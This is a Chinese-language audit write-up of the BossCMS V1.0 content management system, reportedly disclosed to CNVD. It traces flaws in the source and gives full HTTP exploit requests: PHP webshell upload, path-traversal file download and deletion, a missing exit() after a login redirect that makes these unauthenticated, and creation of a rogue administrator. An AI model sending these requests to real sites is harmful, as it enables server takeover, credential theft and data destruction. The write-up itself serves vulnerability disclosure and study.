BossCMSV1.0代码审计

前言

以下漏洞均已提交CNVD并被收录

后台任意文件上传

在后台安全设置处添加允许上传类型.php

然后通过ueditor的附件上传即可上传php木马文件getshell

确定位置

先随意找到上传点,然后抓包上传

修改后缀名发送后得到报错信息

{"state":"该文件扩展名不允许上传!"}

审计源码

通过报错信息定位到源码在/system/basic/class/upload.class.php下

else为结果,那么在if处打上断点

上传php文件开始调试

发现两个条件都不满足

  1. php后缀名不在$extension中
  2. !$type!=true也就是$type不为null
第一个条件

首先解决第一个问题,在文件29行处可以看到$extension变量值的获取

那么全局搜索upload_extension,发现他在/system/admin/theme/default/safe.php中获取

根据路由规则访问

http://bosscms/admin/#safe

存在允许上传类型,那么直接添加.php然后保存,回到源码继续上传.php调试

可以看出这时候$extension数组中多了一个值即.php,成功满足第一个要求

第二个条件

要让!$type!=true,也就是让$type=null即可,也就是执行到函数的35行

这里需要满足$ext(.php) 在 $arr 数组中,那么继续看$arr数组是从

$G['extension'][$t]中获取的

这里的$t值是photo,获取到的arr为

".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"

全局搜索得到system/basic/json/extension.json

在code键值中看到了我们想要上传的.php

所以的我们的$t应该为code,再回到upload.class.php

$t是遍历$arrary获得的,而$array是分割$type获得的,可以看到files函数调用时$type默认值是null,那么就是调用时指定code值

跟踪函数,定位到/system/extend/ueditor/php/ueditor.class.php中第246行,调用files函数并且指定了code值

成功解决了第二个条件

测试上传

很明显漏洞存在于ueditor编辑器的附件上传处

选择PHP木马文件

上传成功

点击确认后右键打开新链接获得路径

成功getshell

后台任意文件下载

后台构造url可以进行任意文件下载

http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php

确定位置

定位到/system/admin/safe/backup.class.php

可以看到没有任何过滤,直接通过传值然后下载文件,get传参id值为文件名且可以穿越

审计源码

全局搜索call_user_func,最后在/system/basic/class/into.class.php的load_class函数中找到可以利用的方法load_class

然后就是找调用链

在/admin/index.php开始

再到/system/enter.php

/system/basic/class/into.class.php

在执行load_class函数,存在func值成功调用download方法

$mold和$part用来拼接文件然后包含一次,然后new 一个$part对象然后检查是对象中是否存在$func函数,存在即调用

所以可以构造url

http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php

在load_class方法打上断点然后访问

成功调用download,参数获取正确

下载文件成功

且此CMS的数据库信息写在固定文件/system/basic/ini/mysql.ini.php

可以配合进行敏感信息泄露

后台任意文件删除

确定位置

定位到/system/admin/safe/backup.class.php

还是没有任何过滤,get传参id值为文件名然后调用delete进行删除

使用之前的利用链,先在站点根目录新建test.txt

然后根据规则(post:url,get:id)构造请求包

/system/admin/safe/backup.class.php文件中的delete方法

POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1
Host: bosscms
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=backup&func=table
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryYe2EcUgaamtd4Xnh
Content-Disposition: form-data; name="url"

1
------WebKitFormBoundaryYe2EcUgaamtd4Xnh--

成功删除文件

未授权扩大危害

未授权任意文件下载和删除

对用户是否登录的验证在system/basic/class/admin.class.php文件init函数中

当判断未登录时通过header进行页面跳转,但是没有exit()或者die()终止程序运行

所以还是能够得到自己的结果后才跳转(这一点可以在BP中体现)

在未登录状态下

先执行删除,成功执行得到结果

然后才会重定向到登录页面

任意文件下载也是同理,在BP中即可看到跳转前结果

未授权任意文件上传

通过未授权将之前后台任意文件上传攻击面扩大

文件上传未授权
POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1
Host: bosscms
Content-Length: 200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryvwjLJGiYAdfklq31
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundaryvwjLJGiYAdfklq31--

修改上传配置点未授权

找到可利用的函数/system/admin/safe/safe.class.php文件中的add函数,参数可控

还是之间的链,根据代码构造请求,在post请求中upload_extension数组里添加.php键值

POST /admin/?mold=safe&part=safe&func=add HTTP/1.1
Host: bosscms
Content-Length: 987
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=safe&func=init&lang=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_folder"

admin
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_login_captcha"

1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_logout_time"

28888
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="page_cache_time"

0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_rename"

1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_maxsize"

2
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_extension"

[".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".php"]
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="ueditor_catchimage"

0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I--

成功未授权修改配置

修改配置之后可以未授权任意文件上传了

成功访问执行

未授权用户操作

用户操作相对于来说也算敏感操作,就顺带写了

确定位置

定位到/system/admin/manager/manager.class.php

其中的add,edit,delete三个函数参数都是由请求获得的(可控的)

根据规则构造请求包,以下为关键点

mold=manager&part=manager&func=add 
/system/admin/manager/manager.class.php中的add函数

POST传参
username-用户名
password-密码
password-确认密码
level-权限 (2为系统管理员)

请求包

POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
Host: bosscms
Content-Length: 1959
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=manager&part=manager&func=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="username"

123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="password"

123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="passwords"

123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="level"

2
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="department"


------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="open"

1
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit1"


------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit2"

["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit3"

["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit4"


------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="image"


------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="alias"


------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="email"


------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="phone"


------WebKitFormBoundaryB067fgIWBKtHI4Gy--

成功添加管理员用户

成功登录,且为管理员权限

后记

都是一些简单常见的漏洞点,主要还是一个跳转之后未及时结束程序导致访问控制体系崩塌,后台变前台

点击收藏 | 3 关注 | 2
登录 后跟帖